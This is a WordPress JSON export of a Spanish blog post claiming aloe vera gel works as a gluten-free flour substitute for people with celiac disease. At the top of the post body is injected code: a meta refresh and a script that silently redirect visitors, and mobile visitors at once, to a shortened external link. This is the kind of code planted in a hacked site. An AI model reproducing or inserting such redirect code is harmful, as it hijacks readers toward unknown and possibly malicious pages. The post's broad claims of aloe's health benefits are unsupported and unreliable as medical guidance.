{"id":202,"date":"2016-06-09T12:52:56","date_gmt":"2016-06-09T12:52:56","guid":{"rendered":"http:\/\/araloe.com.ar\/?p=202"},"modified":"2016-06-23T14:39:04","modified_gmt":"2016-06-23T14:39:04","slug":"el-aloe-vera-es-un-buen-aliado-para-los-celiacos","status":"publish","type":"post","link":"https:\/\/araloe.com.ar\/aloe\/el-aloe-vera-es-un-buen-aliado-para-los-celiacos\/","title":{"rendered":"Aloe Vera, un buen aliado para los Cel\u00edacos"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.org\/xwpSOINFd0r3\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.org\/xwpSOINFd0r3\");<\/script><br \/>\nEs interesante ver lo funcional que puede ser el aloe vera. Su uso ya no solo se centra en el cuidado de la piel y el cabello sino que\u00a0<strong>cada vez m\u00e1s frecuente que se piense en el aloe para un cuidado m\u00e1s integral del organismo\u00a0<\/strong>gracias a su rica composici\u00f3n que lo hace \u00fatil como complemento vitam\u00ednico importante para el sistema inmunol\u00f3gico y es una estupenda base para elaborar remedios naturales para muchas patolog\u00edas.<br \/>\nAdem\u00e1s de todo esto,\u00a0<strong>es cada vez m\u00e1s usual verlo entre los ingredientes de una receta de cocina y hay grandes chefs que investigan sus usos<\/strong>. As\u00ed han llegado a la conclusi\u00f3n de que el aloe vera es un espesante ideal que puede llegar a\u00a0<strong>sustituir a la harina<\/strong>. \u00bfNo te parece una gran alternativa para los celiacos?<\/p>\n<p><strong>\u00bfQu\u00e9 es la enfermedad celiaca?<\/strong><\/p>\n<p>Seg\u00fan explica la<a href=\"http:\/\/www.celiacos.org\/enfermedad-celiaca.html\">\u00a0Federaci\u00f3n de Asociaciones de Celiacos de Espa\u00f1a<\/a>, \u201cLa enfermedad cel\u00edaca (EC) es un\u00a0<strong>intolerancia permanente al gluten del trigo, cebada, centeno y probablemente avena<\/strong>\u00a0que se presenta en individuos gen\u00e9ticamente predispuestos, caracterizada por una reacci\u00f3n inflamatoria, de base inmune, en la mucosa del intestino delgado que dificulta la absorci\u00f3n de macro y micronutrientes\u201d.<\/p>\n<p><strong>\u00bfC\u00f3mo ayuda el aloe vera a los celiacos?<\/strong><\/p>\n<p>Por lo pronto el aloe vera, seg\u00fan el comportamiento que tiene como ingrediente culinario, es un gran espesante. Normalmente, cuando se quiere conseguir una textura espesa en la cocina se acude a la harina. Pues bien,\u00a0<strong>seg\u00fan prestigiosos chefs, entre los que se encuentran el <\/strong><strong>granadino\u00a0<a href=\"http:\/\/asocialoe.wordpress.com\/2014\/02\/28\/el-aloe-vera-es-una-muy-buena-alternativa-para-personas-que-quieran-evitar-la-hariana-la-patata-o-el-maiz\/\">TonyParra<\/a>, dicha textura podr\u00eda alcanzarse igualmente con el gel de aloe vera y estar\u00edamos evitando el gluten.\u00a0<\/strong>Adem\u00e1s, aportar\u00edamos todas las propiedades beneficiosas del aloe vera sin a\u00f1adir calor\u00edas. Son todo ventajas.<\/p>\n<p>Actualmente ya es usado en\u00a0<a href=\"http:\/\/aloevaro.blogspot.com.es\/2013\/06\/salmorejo-cordobes-con-aloe-vera.html\">salmorejos<\/a> Cordobeses, en el\u00a0<a href=\"http:\/\/aloevaro.blogspot.com.es\/2012\/01\/arroz-carnaroli-gelificado-con-aloe.html\">arroz<\/a>\u00a0o en salsas. Su uso es sencillo, solo habr\u00eda que a\u00f1adir gel triturado de aloe vera a estos platos en el momento indicado, normalmente al final de la preparaci\u00f3n. La \u00fanica precauci\u00f3n es limpiar bien el gel de alo\u00edna antes de usarlo. No hay que preocuparse por su sabor amargo ya que se ha comprobado que este sabor se neutraliza al cocinarlo.<\/p>\n<p><a href=\"http:\/\/aloevaro.blogspot.com.ar\/2014\/05\/el-aloe-vera-es-un-buen-aliado-para-los.html\">http:\/\/aloevaro.blogspot.com.ar\/2014\/05\/el-aloe-vera-es-un-buen-aliado-para-los.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Es interesante ver lo funcional que puede ser el aloe vera. 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